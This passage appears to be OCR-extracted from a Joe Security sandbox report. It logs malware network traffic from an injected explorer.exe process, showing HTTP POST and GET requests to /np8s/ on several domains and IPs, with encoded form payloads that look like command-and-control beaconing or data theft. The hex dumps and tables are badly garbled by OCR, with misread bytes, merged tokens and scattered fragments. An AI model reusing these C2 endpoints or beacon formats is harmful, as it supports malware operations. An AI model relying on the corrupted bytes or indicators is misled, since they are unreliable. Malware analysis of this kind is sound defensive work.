32 4f 72 65 4f 49 30 6a 70 34 7a 31 4b 45 6b 31 76 33 72 6f 79 4f 31 77 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=B7aAQAKGuUVRzcheiFPYXFvWK(nBs4LfYGDIEotGlu3nk3rJO~yJdOCbhC8yS3YOKaPwUO
51K49C59-FQXzfWC8KZTIXukBYJIXKjiOIGHEKPGunoPuiSqle(0cfiT2UrP2_AMyiFDKZiiAE0aiROD7PDj~CZijE7
Kc3TpkPST~NnVNL82nt8qwUIWS9IXGtU35UWetIFsm7pXq0E2eQuHMCbVYMh~nYbp5raxdg_xS7_FzyF2Z5rbRaU~Va
ae35XqzE671jRQIIM8TMAdyp5AH6k33XgkNRqJIXC48fxThsra2_fLApzPJBI6gbf8n20sBG~ATLe5p2RGGpIQHachT
88BdghC4KKQiloc70ckMTOuUNUj80bCP(CAk4tg_20reOl0jp4z1KEk1v3royOlw).

Destination IP Destination Port Process
154.220.100.142 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.interlink-travel.com

Connection: close

Content-Length: 36482

Cache-Control: no-cache

Origin: http://www.interlink-travel.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.interlink-travel.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 42 37 61 41 51 43 66 46 71 6b 70 51 51 55 47 42 42 39 59 44 50 5f 6d 49 73 45
74 6a 39 4f 76 4c 43 33 55 51 6d 49 71 78 76 79 6a 78 39 4c 56 6a 31 52 70 37 4f 43 71 4e 4d 70 71 57 7a 34 79 4c 61
5049 32 30 35 78 4b 37 39 71 70 7e 64 4d 31 58 57 44 58 55 63 6¢ 71 53 4a 58 4e 76 6b 42 62 78 4c 7a 4d 4f 6¢c 7e 58 4
437 6a 47 75 46 41 50 6e 46 4f 66 36 65 28 79 56 5f 79 58 79 52 7a 6f 32 5f 70 5a 79 6e 39 44 6e 70 75 69 42 6e 41 5a
67 57 53 45 76 50 44 69 75 53 59 6b 70 6b 48 5a 63 32 6e 4c 6b 4e 57 54 7e 5f 7a 56 4d 62 63 32 77 71 49 70 6f 55 49
54 57 39 58 42 6e 30 36 68 55 57 43 68 4a 41 55 63 37 34 54 71 36 55 32 64 58 39 6e 2d 47 4d 70 50 41 43 6a 46 59 62
6¢ 55 72 49 56 7a 67 36 35 71 39 4e 74 69 33 6e 66 43 35 75 72 37 66 30 7e 5a 4f 4b 65 57 35 58 71 44 45 36 37 6d 6a
52 67 6¢ 69 4f 63 54 65 31 5a 79 35 4c 34 45 6d 55 33 2d 43 61 6b 56 63 4b 45 6b 43 35 55 50 78 53 69 4a 72 70 61 5f
66 75 38 70 6a 74 78 47 54 4b 71 5a 51 63 6d 79 68 38 42 5f 7e 41 54 31 65 38 56 63 57 78 47 70 49 42 48 61 63 43 37
38 7e 7864 71 74 69 34 79 63 67 76 34 30 63 6a 73 63 6b 39 73 30 5a 64 55 69 75 4d 62 43 74 62 43 54 45 34 74 7a 76
33 4a 6¢ 76 33 54 7e 42 6¢ 5a 34 31 43 54 6a 43 6d 2d 6¢ 4d 79 47 6d 51 70 54 66 6¢ 7e 4f 42 41 34 71 32 76 28 55 64
72 6¢ 36 74 4d 56 70 67 4f 59 54 58 72 54 4f 37 4e 48 64 50 43 62 6a 7a 70 6e 51 71 38 33 6d 6¢ 34 75 34 66 35 77 43
52 64 42 66 32 64 7e 4c 28 56 62 63 4e 7a 69 2d 41 48 73 67 37 68 42 37 79 37 75 75 47 61 56 6¢ 6b 7a 36 7a 55 74 78
6e 44 76 37 6a 33 48 48 50 7a 4c 59 73 74 38 65 41 6b 69 7e 59 55 76 78 69 32 6a 68 33 66 50 67 4b 72 58 6b 62 6b 49
6d 48 66 4a 59 77 47 54 6b 70 47 57 76 49 6d 4c 73 58 68 61 54 49 73 48 43 42 4e 73 58 46 6b 4f 37 58 6f 77 50 38 6e
6d 66 38 74 65 6¢ 6f 59 70 50 48 75 31 36 34 56 70 71 33 61 49 6e 73 4a 4e 61 35 50 6¢ 4a 38 4a 71 33 79 56 33 35 73
Ta4c 74 72 50 6¢ 4e 35 58 2d 54 66 6f 50 48 49 49 32 6e 48 38 77 33 76 38 51 41 55 6e 6d 78 4a 78 51 4b 76 4e 6f 49
74 73 63 72 4c 5a 33 4a 56 7e 43 71 5f 64 6b 6b 31 71 5f 77 46 4c 66 42 47 58 73 38 39 7a 72 4f 39 31 75 49 46 4a 56 52
67 45 73 68 5f 43 75 78 2d 6a 35 76 79 6a 7a 57 58 28 57 61 30 69 72 6a 54 6d 77 71 39 48 75 58 2d 72 59 45 44 7a 62
43 33 6b 55 54 6e 68 76 74 4a 72 52 61 31 32 37 67 56 71 67 32 76 73 62 38 53 34 72 68 42 50 6f 4b 32 42 31 58 54 28
3569 61 34 72 36 44 28 6d 57 44 36 71 4b 71 49 6¢ 38 4d 42 45 6d 51 28 47 35 36 4e 56 38 72 28 75 44 5a 6b 36 6a 4f
6f 6e 50 2d 79 5a 53 56 79 31 61 6b 74 5a 32 37 62 4f 38 49 49 39 4d 2d 6f 43 77 57 6b 37 68 30 76 33 70 54 66 45 48
4149 59 46 50 67 74 37 70 77 52 6¢ 5f 4a 55 49 74 71 5a 38 42 31 6f 4b 70 6d 42 76 33 4b 32 28 68 34 4a 38 37 74 33
4a 43 67 4a 62 32 50 61 67 6¢ 33 31 58 69 6¢ 64 32 6f 65 63 62 4b 57 76 47 76 34 78 51 6a 46 6¢ 39 4d 63 71 66 36 6b
69 42 55 7e 36 67 34 4f 72 61 65 46 68 4a 75 58 76 33 32 36 73 33 6b 6a 43 71 43 33 77 66 32 53 4f 65 33 75 4b 6f 6¢ 66
4d 43 73 6e 41 58 6a 32 31 28 47 34 37 73 64 41 47 73 38 62 66 28 6a 28 4d 57 67 70 79 4d 74 56 36 53 57 63 39 31 31
79 66 34 6a 55 70 4a 65 67 41 6e 49 53 34 52 4b 4b 64 59 66 67 67 37 4e 30 7a 6e 34 34 78 6a 74 78 51 64 38 42 41 33
34 6a 62 35 49 4b 43 77 33 69 6a 43 66 61 7a 4a 50 76 58 4d 63 62 4e 70 6a 77 78 28 6f 73 75 43 53 35 69 6a 43 76 45
41 78 36 5f 57 32 41 2d 44 53 59 5a 34 65 32 32 73 53 38 53 70 6d 37 67 43 70 69 6d 43 55 73 35 4c 66 59 71 4c 31 32
4d 324179 49 4d 41 77 73 32 56 42 5a 6f 49 42 6b 44 6f 4a 6f 47 35 30 72 47 48 65 5a 70 35 36 6¢ 78 69 43 51 41 47
42 45 48 53 37 4a 46 61 36 62 4e 37 52 45 7a 4d 51 6e 4e 51 6f 65 64 57 33 69 4c 59 32 53 66 32 6b 78 32 43 58 6f 33
5151 76 70 67 7e 6a 76 38 70 36 5a 6a 71 76 59 59 6e 43 63 4d 6a 75 59 67 56 4d 35 39 75 33 48 2d 56 57 71 63 42 48
4d 4c 70 64 4e 31 74 59 63 66 7a 71 51 6¢ 6d 76 48 64 41 46 7a 33 51 49 32 46 61 61 51 47 28 49 6a 57 4e 48 44 36 65
4263 58 44 31 4c 55 56 78 71 6a 45 33 6b 58 31 69 32 4e 69 67 43 48 6d 6a 4d 30 77 61 4b 52 6d 57 69 34 30 5f 6¢ 6a
56 4d 47 4f 38 79 67 70 65 4c 65 71 74 77 43 32 78 48 61 33 5a 4d 6d 5a 4c 52 4a 7a 53 5a 35 65 33 47 73 56 4d 55
Data Ascii: c2MH6DeP=B7aAQCfFqkpQQUGBB9YDP_mIsEtj90vLC3UQmIgxvyjx9LVj1Rp7OCgNMpgWz4yLaPI120

5xK79ap~dM1XWDXUclaSIXNvkBbxLzMOI~XD7iGuFAPnFOf6e(vV vXvRzo2 pZvn9DnpuiBnAZaWSEvVPDiuSYkokH
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Timestamp

Session ID

29

Timestamp

May 27, 2022
17:29:24.560625076
CEST

May 27, 2022
17:29:25.069570065
CEST

Session ID

3

Timestamp

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

9331

9332

Source IP

192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49933

Direction

ouT

Source Port

49819

Direction

Zc2nLKNWT~_zVMbc2wqlpoUITWIXBnO6hUWChJAUC74Tq6U2dX9n-GMpPACIFYblUrIVzg65q9Nti3nfC5ur7f0~ZO
RMSXqDEW mjRgliOcTelZy5L4EmU3-CakVcKEKC5UPXSiJrpa_fu8pjixGTKgZQcmyh8B_~AT1e8VcWxGplBHacC7
8~xdqtidycgv40cjsck9s0ZdUiuMbCthCTE4tzv3JIv3T~BIZ41CTjCm-IMyGmQpTfl~-OBA4qg2v(Udrl6tMVpgOYTX
rTO7NHdPCbjzpnQg83ml4u4f5wCRdBf2d~L(VbcNzi-AHsg7hB7y7uuGaVIkz6zUtxnDv7j3HHPZzLY st8eAki~Y Uvx
i2jh3fPgKrXkbkImHfJYwGTkpGWvImLsXhaTIsHCBNsXFkO7XowP8nmf8teloYpPHu164Vpg3alnsJNa5PIJ8Jq3yV
35szLtrPIN5X-TfoPHII2nH8w3v8QAUNmxJxQKvNoltscrLZ3JV~Cq_dkklg_wFLfBGXs89zrO91ulFJVRgEsh_Cux-
j5vyjzWX(WaOirjTmwg9HuX-rYEDzbC3kUTnhvtIrRal27gVqg2vsh8S4rhBPoK2B1XT(5ia4r6D(mWD6gKqlI8BMB
EmQ(G56NV8r(uDZk6jOonP-yZSVylaktZ27bO8I19M-0CwWk7hOv3pTFEHAIYFPgt7pwRI_JUItqZ8B1oKpmBv3K2(
h4J87t3JCgJb2Pagl31Xild20ecbKWvGv4xQjFI9Mcqf6kiBU~6g40raeFhJuXv326s3kjCqC3wf2SOe3uKolfMCsn
AXj21(G47sdAGs8bf(j(MWgpyMtV6SWc9I11yf4jUupJegAnISARKKAYfgg7N0zn44xjtxQd8BA34jb5IK Cw3ijCfazd
PvXMcbNpjwx(osuCS5ijCVEAx6_W2A-DSYZ4e22sS8Spm7gCpimCUs5LfYgL12M2AyIMAws2VBZolBkDoJoG50rGHe
Zp56IxiCQAGBEHS7JFa6bN7REzMQnNQoedW3iLY2Sf2kx2CX03QQvpg~jv8p6ZjqvYYnCcMjuYgVM59u3H-VWqcBHM
LpdN1tYcfzgQImvHdAFz3QI2FaaQG([jWNHD6eJcXD1LUVxXgjE3kX1i2NigCHmMjMOwaKRmWi40_ljVMGO8ygpeLeqt
wC2xHa3ZMmZLRJzSZ5e3GsVMUvooCitT44halL UPOAUc-Kcs0xZ4iiv7AJ9ue~W4Q(BGcz3Q_GlyrytR2Qm6kH-Vi3gT
AVyJ12Wnjkd6kebdsCppYsxBDYO03FTm6BinB3hziQwb(PNHGtdng-MSVEnYXGOVhQDh08v7DgjYeX20LAJA9IC2j9C]
BwgDADZxLD3DCLwWG44zGGR_rGx9V46a2fMgygp7emMQEVFz1V9Im8xK6jPD~HK1K_Hk9lYJDPL6nIVWtg~HRVraMgU
ebkWsnkANNn7U380L6EzP8(Tw5jkL6aSEgVIh3(CvwnZwN1nQFKvu2MVhol6UyZKp57xzepbNi2GzyKOh8I0JoO9a-b
aOhrlvI3XTaUILGWIQiFvb3eKe5979q24rsVI6Y (zhDkOZ60zZM54HyZ 7BMAKacfJK7Nz5yMn5BPG8p3AcpOTPbVIJ
dqyZelL4FCcx4iDVekESEFGOHDIS6Z6-jZQUcqlfgyYIXcjz7gSgcfTSh9Lzyaeh(QT1kEsErezDpl4EuwPs5I2es2p
HDRBCX-kgmbhHGOMNEHL33RnVVyKjgq1Nwxz(x5QpcFisjNB(rhNX_w1~VA-FD3xtrFE8sKkefWul1fieWN5wmDDCMoy
W6EVW1wO6ecTzd6XUWxPUTfcmW8_FauRULv2TOWFLx3P~3gBThlJI011NnHOS9tpA33MY60yZY SkDpuvHIsBgqYgGp9
nQCdcZH3IQOUFMPKrOllkbWAEOjPFfRVaALIIIBX6bjl1XczQ5KuCwla3hZeF4gSDaEAH8mkHNDIDZYJdz3Q1E(_Q
p~_yibMDQAtVtXOE79tn8Z0cKdzc7WtpBY36VYIKSHX5Y (dsVktJjuXJzLYmeOEyzxMf3TnwOnSIhTGr8FfOagHS8U-
RJe7neVKdI1rbOlygYGBmTe6FrOcYdwLDJg7Rs5yu-8GdaM6ggrAvst7LCG1TF4_r4ADYmKQ1E-fe49~rMOVIRVQPv
SMTUIBLUXj2HSce14~FxqOqdxKWfZNxeSiJDM19Q04sz4DuBgplhuphEp5sn0Ay1Z1Y PjFILDA6nzGFQIFSDT3B2gF
NQ5kVs9gxDkfgLm(7uBemV44B3JTUYpEnYBD8Ok6JUSL|7QuRagot5mBOrT3D4sBeZMK9hWyICfrlVw~HOkd7HBrnL
NRWIMftOXOVWBKGJ3roKzWWQgLKDImUBYeKI6d-HrhHNhPgDOP SuV9SIxVigvxqdrEdXDLIEiZdY_kUrGonVLQt2Q1
E543ZwWXxrEupZI1b1b3tH5C8INeAynY5Ea26RA7hTG-OQWjx4UMVOO0SbS3HK5T_(S45gnRXXsXM47LODOyMwNhR9op
83aiydZ5V6RISW6BGJI62nyTH4PYm_dly79VLKO_16G0suTB(PgupaOJJvValLWpute7ZwticRUS_CSO0vjTCO9mZpAggU
gRXODDWam(IURrpfd~BfNK8ZSGrC1neNwUP2_C1lisHKZqVWB620JoXm9esfTXOvRzGrLUwo50TQDKY2YrF3iOwB0o~
bADGUTCcZKfTr33su8ZoKksoPPTLYLLVhCTGITA-2kERx7e0b4XKVhxI90~ed4(2AL2fZF2FUZalhbZJtUMJSIN8~fR
XI7LaibMYdmV-wOrvG_~UYgBRK681K20Dy8KB8jMgNIm2WS5jeep8lYkt506 CQpGmMBGPzOWKXm1btAxgxMFrIVHurvl
2McbC4Ulb445spbT-G35uHGL8gLXUSI8Z~HSH60JztZ4Qh5XEgL5pPWLMTOfzp_ TWWPYwv4ywrVrmzowDAPpRfm7uE
11JuL 7tqzIBfYRSX0iV9hijWRgvh30y141Ue8WMCejObACtkYuuFNDZu7YV8LVvUs1uLOR5djMkfCqbO608bTDITHPU
B6_StF7cIRXNtTu7CR3VAinwelqoO65p7fyWdr-kBXPGggPjkRwijf XFdOTJH-(CdG7uMSf1TpQwjKD0~sJcOh830
QTVm57VzE(yN6DhKJj5c60sIWN7nVESXmOX90w0gFHy80UbeCSpw26uYzgXJp2ckCxnPGklijpyFUd05cUOR95YH1g
WIZYp(JRISUXaKPc88D8xpWnb1vYEjTOVYMF7PB7y4qzIJFJI1ZyPt54sA6GaHKIRNMEYHIA~QIXjFVp7RQ2shg51gr
y9ZfiNGrgU5sjOVI7sqEZSLENVeME-TRRb]jI7IGp~0iXZ5nYGRpI7n3YVOINSyGSMUh-Mmi-TSXE7m8GE_4gw717n
8D4ifnLvHeevurGBNKIBPWTGWqzTj(KYKC6XgrO5zy-aGgAybPVQtYOrCo7ucB7TUtypglEmWuLj1~97AmJqQgKD5(
J(7kVGHrlZ-p1ldcHNoKSwTIgktng2K200owJAgsQjabjxggoyUzirldLpMTAzb1H886gclcgSOfFZsbE1Kg-piDfOdFR8EItbkx71
KxgeHpYZnNXgwRMgXWyD23NAqIXGHIMAXjiY8Phtqtkcd19xSIcPWbOVIjd3goh9Fz9Iml_0slhVAOqOdxYOLIg10T
bCTdUI6uf6DHUX_3ly4RfFWIcMefpevy7hztsni6NsJm9RI78arn-NFOsgvot(IngGgds4K(OWKEFJKg7FGBpHiFwV
FazgX~ON6jfWqq4tNm6ghlcDWENIp9-ItfK8Egh4j4Y XWBbv8wnSukRvmCly8JIIBrVjszo0853t_Z6ztkZKDKon40
bldXSSUE1XMjd2e3de4zSXwuFuMZB79XgjHyhL

Destination IP  Destination Port Process
154.220.100.142 80 C:\Windows\explorer.exe
Data

GET /np8s/?c2MH6DeP=05u60IlgxnDtTF3riQ4xVZIWxoHxK/fTzbXBC76KOhST926FmxCw4JGrgecy53rLpUaVG&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.interlink-travel.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 27 May 2022 15:29:24 GMT

Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/7.3.29

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Location: https://www.interlink-travel.com/np8s/?c2MH6DeP=05u60IgxnDtTF3riQ4xVZIWxoHxK/fTzbXBC76KOhS
T926FmxCw4JGrgecy53rLpUaVG&hFQL=JXUhrvXxUhF4
Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Destination IP Destination Port Process
172.96.186.204 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp e Direction

May 27, 2022 7567 ouT

17:28:00.797137976

CEST

May 27, 2022 7633 IN

17:28:02.578596115

CESIl

Session ID Source IP Source Port

30 192.168.2.3 49937

Timestamp e Direction
transferred

May 27, 2022 9333 ouT

17:29:31.125715017

CEST

Copyright Joe Security LLC 2022

154.220.100.142 80

Data

POST /np8s/ HTTP/1.1

Host: www. liveafunday.xyz

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.liveafunday.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.liveafunday.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 38 30 47 79 45 65 41 62 30 69 74 45 28 79 79 55 45 61 45 58 76 6b 68 67 42 43
357979 46 73 6f 50 48 47 74 62 6¢ 7a 6d 6d 37 37 55 6b 31 37 59 76 46 31 4d 5a 61 4c 57 32 35 56 70 68 6b 79 6e 51
31 7a 50 39 59 5a 44 6a 45 64 7a 31 42 4e 58 54 68 6¢ 31 58 6f 72 41 43 70 30 6b 68 61 52 56 30 56 51 56 73 66 4d 56
61 75 4f 6a 45 36 4d 71 34 6f 67 69 55 31 59 59 72 4c 69 78 50 4e 39 6b 54 33 49 43 30 4e 6e 72 4c 31 61 36 6a 62 55
53 61 6e 70 6b 55 52 54 56 5a 6¢ 37 32 75 39 64 45 79 51 78 65 4a 31 46 65 79 58 4a 51 75 73 4b 4d 37 33 43 4a 45 31
47 48 42 63 44 36 45 67 78 69 68 52 6f 6d 44 4a 52 33 30 30 4d 65 58 31 38 77 32 30 5a 59 43 47 77 37 72 45 61 69 6a
584144 71 76 58 61 77 30 6b 58 39 6b 35 68 79 5a 75 6f 6a 33 28 68 42 38 6f 6¢ 41 49 66 33 38 36 4b 32 57 48 48 4¢
68 73 33 68 72 47 51 48 73 44 64 44 58 5f 4e 32 51 36 4b 5a 43 54 30 66 50 62 76 68 56 4f 48 4e 61 74 6d 63 32 62 28
44 54 34 53 47 58 7a 30 5f 69 65 77 6d 38 4c 7a 58 51 41 79 7a 66 72 4c 41 33 78 53 35 33 4c 67 4e 38 5a 63 78 44 6d
69 68 56 65 75 42 41 6f 7a 4d 52 33 78 4a 35 71 6¢ 6a 33 6b 36 45 4f 35 77 46 53 79 61 4a 6¢ 7a 34 4b 67 74 61 4f 50 37
79 59 35 49 35 6¢ 6d 5a 43 65 62 54 39 53 42 32 46 55 51 4c 77 4f 79 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=80GyEeAbOitE(yyUEaEXvkhgBC5yyFsoPHGthlzmm77Uk17YvF1MZalLW25VphkynQ1zP9
YZDjEdz1BNXThI1XorACpOkhaRVOVQVsfMVauOjE6Mg4ogiULY YrLixPNOKT3ICONNrL1a6jbUSanpkURTVZI72u9d
EyQxeJ1FeyXJQusKM73CJE1GHBcD6EgxihRomDJR300MeX18w20ZY CGw7rEaijXADgvXaw0kX9k5hyZuoj3(hB8olA
1f386K2WHHLhs3hrGQHsDdDX_N2Q6KZCTOfPbvhVOHNatmc2b(DT4SGXz0_iewm8LzXQAyzfrLA3xS53LgN8ZcxDmi
hVeuBA0zMR3xJ5qlj3k6EO5wWFSyallz4KgtaOP7yY515imZCebT9SB2FUQLWOYQ).

HTTP/1.1 404 Not Found

Connection: close

x-powered-by: PHP/7.4.29

content-type: text/html; charset=UTF-8

x-litespeed-tag: 440_HTTP.404

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <http://thebestvidforall.xyz/wp-json/>; rel="https://api.w.org/"

x-litespeed-cache-control: no-cache

transfer-encoding: chunked

content-encoding: gzip

vary: Accept-Encoding

date: Fri, 27 May 2022 15:28:02 GMT

server: LiteSpeed

Data Raw: 32 66 35 32 0d Oa 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 b6 92 e8 67 bb ea fc 07 Oc 5d 19 4b 09 49 91
d4 9b b2 9¢ 3d 99 3c 36 5b c9 9e 54 26 d9 5b b7 92 d4 14 44 42 12 67 28 92 87 84 2c 39 8e ef 6f bf d5 78 f0 25 50 2f 8f
93 d4 ce 24 95 58 24 81 ee 46 a3 d1 dd 00 1a 8d 9b 17 5f fe eb d5 4f ff {7 87 af d0 92 ae c2 db cb 1b f8 83 42 1c 2d a6 1la
89 8c 9f 5f 6b fO 8e 60 ff f6 f2 €2 66 45 28 46 de 12 a7 19 al 53 ed e7 9f be 36 46 1a ea e4 5f 22 bc 22 53 ed 2e 20 9b 24
4e a9 86 bc 38 a2 24 a2 53 6d 13 f8 74 39 f5 ¢9 5d e0 11 83 3d e8 28 88 02 1a €0 d0 ¢8 3¢ 1c 92 a9 cd e0 70 04 Oc cc 75
lacf 62 9a 5d e7 40 ae 57 78 6b 04 2b bc 20 46 92 12 40 e2 86 38 5d 90 6b 20 e0 86 06 34 24 b7 3f €0 05 41 51 4c d1
3c 5e 47 3e 7a 79 35 72 6¢ 7b 82 be bf 47 5f 84 f1 e2 a6 c3 4b 5d de 84 41 f4 Oe a5 24 9c 5e fb 51 06 e0 e6 84 7a cb 6b
b4 4c c9 7c 7a dd €9 dO 25 99 91 8c de 05 fe 3c 4e 71 18 9a db fb df 39 9e 43 35 33 73 63 c6 €9 a2 56 58 c3 21 25 69 84
29 d1 10 bd 4f c8 54 ¢3 49 12 06 1e a6 41 1c 75 d2 2c fb 6¢ bb 0a 35 c4 ¢8 9b 6a 82 5c¢ 4 32 ¢5 ff 5e ¢7 13 f4 35 21 be c6
69 d3 96 94 26 ae 9a c0 ce 9c 10 bf c3 f9 98 93 f9 34 cc af e2 d5 8a 44 34 3b 9a 04 4f 54 28 d3 92 79 69 90 dO db cb 4d
10 f9 f1 c6 7c b3 49 c8 2a 7e 1b bc 26 94 06 d1 22 43 53 f4 a0 cd 70 46 7e 4e 43 cd 65 0d cc dc 5f 3b bf 76 04 2b 7f ed
b0 4e cf 7e ed 78 71 4a 7e ed b0 ca bf 76 ec 9e 69 99 d6 af 9d al b3 1d 3a bf 76 34 5d 23 5b aa b9 9a 99 44 0b 4d d7 b2
bb ¢5 79 f0 b2 bb 05 83 96 dd 2d be e2 00 b3 3b 06 30 5e a7 1e d1 dc 07 cd 8b 23 0f 53 46 86 a0 97 91 ab 92 99 5f 3b 9b
c4 08 22 2f 5c fb 24 fb b5 f3 36 63 2f 58 55 23 25 21 c1 19 31 57 41 64 be cd 3e bf 23 €9 74 60 5a da e3 e3 e4 b2 f3 e9
Ob f4 d3 32 ¢8 d0 3c 08 09 Oa 32 84 d7 34 36 16 24 22 29 a6 c4 47 9f 76 2e 5f cc d7 91 07 d2 d3 22 3a d6 69 fb el Oe a7
28 d2 53 3d d6 83 29 36 bd 94 60 4a be 0a 09 74 5f 4b f3 70 74 87 33 ad ad 27 d3 c0 5¢ 10 fa 0a 06 €6 96 be 7c 59 7e 6a
69 8e af b5 27 12 30 ca 5a 44 02 c6 d3 d7 34 0d a2 85 39 4f e3 d5 ab 25 4e 5f ¢5 3e d1 c9 b4 95 98 5e 48 70 fa 23 f1 68
cb d2 2d 3d 30 f9 e8 Oe cc 25 09 16 4b da d6 13 73 le 84 el 4f 64 4b 5b d8 04 a9 bf 6f d1 65 90 e9 a4 ad 5b ba d5 d6 03
93 ¢6 5f 62 8a 7f fe f1 bb 56 bb 3d 49 09 5d a7 11 3a 1f 2e 15 70 ¢9 74 3a ad c0 7e cc 1b e6 b5 08 e7 17 dd e5 14 17 56
ad 3d al 66 96 7a 53 a2 53 d3 27 73 92 4e a9 c9 07 2e f0 ad f3 16 df 61 51 52 c7 c0 50 c1 e9 ec 8b fb 9f fO e2 bf f1 8a b4
34 d0 99 5a fb 17 eb 37 68 35 89 fc 57 cb 20 f4 5b b4 fd 38 8f d3 56 3c fd 67 9a e2 fb 96 36 0f 31 48 17 97 a6 b6 4e cd 6¢
9d 80 2 cc a6 Of e4 8e a4 f7 74 19 44 Ob 7 85 a5 17 4f 5f 6d 3d 92

Data Ascii: 2f52}ksg]KI=<6[T&[DBg(,90x%P/$X$F_OB-_k'fE(FS6F_"'S. $N8$Smt9]=(<pub]@Wxk+ F@8]k 4$?AQL<
"G>zy5r{G_K]A$"QzKL |z%<Ng9C53scVX!%i)OTIAu,I5)\275!i&4D4;0T (yiM|I*~&"CSpF~NCe_;v+N~xqJ~Vi:v4]#[DMy-
JOMHSFE " \$6C/XU#%! IWAD>#t Z2<246$")Gv._"i(S=)6"Jt_Kpt3'\[Y~ji'0ZD490%N_>"Hp#h-=0%KsOdK[oe[ bV=I]:
.pt:~V=fzSS'sN.aQRP4Z7h5W [8V<g61HNItDO_m=

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?BI=IHUDzXfpVJ_&c2MH6DeP=05u60IlgxnDtTF3riQ4xVZIWxoHxK/fTzbXBC76KOhST926 FmxCw4JGr
gecy53rLpUaVG HTTP/1.1

Host: www.interlink-travel.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
May 27, 2022 9333
17:29:31.611008883
CEST
Session ID Source IP
31 192.168.2.3

. kBytes
LHIEEE transferred
May 27, 2022 9374
17:29:41.983772039
CEST
May 27, 2022 9375
17:29:42.192547083
CEST
Session ID Source IP
32 192.168.2.3

. kBytes
Timestamp transferred
May 27, 2022 9388
17:29:42.194200039
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49942

Direction

ouT

Source Port

49943

Direction

ouT

Destination IP

134.122.201.217 80

134.122.201.217 80

Data

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 27 May 2022 15:29:31 GMT

Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/7.3.29

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Location: https://www.interlink-travel.com/np8s/?BI=IHUDzXfpVJ_&c2MH6DeP=05u60lgxnDtTF3riQ4xVZIWxoHx
K/fTzbXBC76K0OhST926FmxCw4JGrgecy53rLpUaVG
Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.o70iwlp.xyz

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.o70iwlp.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.o70iwlp.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 5a 67 43 72 46 35 79 32 45 73 4d 42 52 64 35 50 48 77 34 51 53 30 31 32 4d 78
36 4542 48 64 32 74 45 33 38 37 67 51 35 7e 52 62 39 77 45 66 71 4d 37 35 4b 6d 57 7e 31 50 50 76 38 74 49 4a 47 57
49 36 43 68 35 41 49 72 70 43 79 42 52 5a 66 35 48 30 6 57 77 43 41 32 34 38 66 59 6f 41 45 35 68 57 61 45 715231 3
6 4f 62 5f 64 72 48 4c 41 39 4d 48 70 7a 57 41 6a 75 78 70 61 4d 38 6e 51 62 4d 32 72 6f 6b 4f 51 69 32 51 77 51 6a 47
79 65 64 62 55 79 45 42 53 6b 6a 76 7e 54 63 4c 30 63 78 30 6d 75 45 6a 28 6d 34 4¢c 73 73 71 4b 54 74 4d 4f 7e 76 72
48 44 32 4c 4d 41 5f 4e 76 43 4e 36 75 5a 33 37 54 69 35 71 34 39 64 4b 51 79 38 4a 61 28 52 35 78 36 7341 37 72 79
49 71 50 37 35 48 4c 73 4d 6e 50 5a 76 72 48 66 72 32 57 51 74 64 47 59 7e 50 4a 6¢ 59 42 55 45 4a 62 70 4e 33 74 31
5f 50 30 30 45 42 69 36 4b 6e 56 77 7a 6a 73 35 49 6a 41 6d 44 34 43 71 79 62 71 79 31 53 35 4a 56 79 53 6b 46 70 77
78 70 53 65 79 68 5a 42 69 49 6d 30 28 5f 37 41 32 6¢ 4d 66 55 36 77 50 6¢ 4a 64 4e 32 74 69 59 50 30 4c 39 64 6a 6b
56 6f41 7e 46 51 53 30 47 59 72 41 53 35 77 39 4f 55 58 75 47 63 37 79 45 46 47 28 4e 72 43 4b 62 79 38 4c 75 64 51
56 63 76 72 30 51 4e 50 52 72 62 58 32 66 69 4b 7e 71 69 57 73 65 28 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=ZgCrF5y2EsMBRA5PHwW4QS012Mx6EBHA2tE3879Q5~RbIWEfqM75KmW~1PPVv8tIJIGWIECh
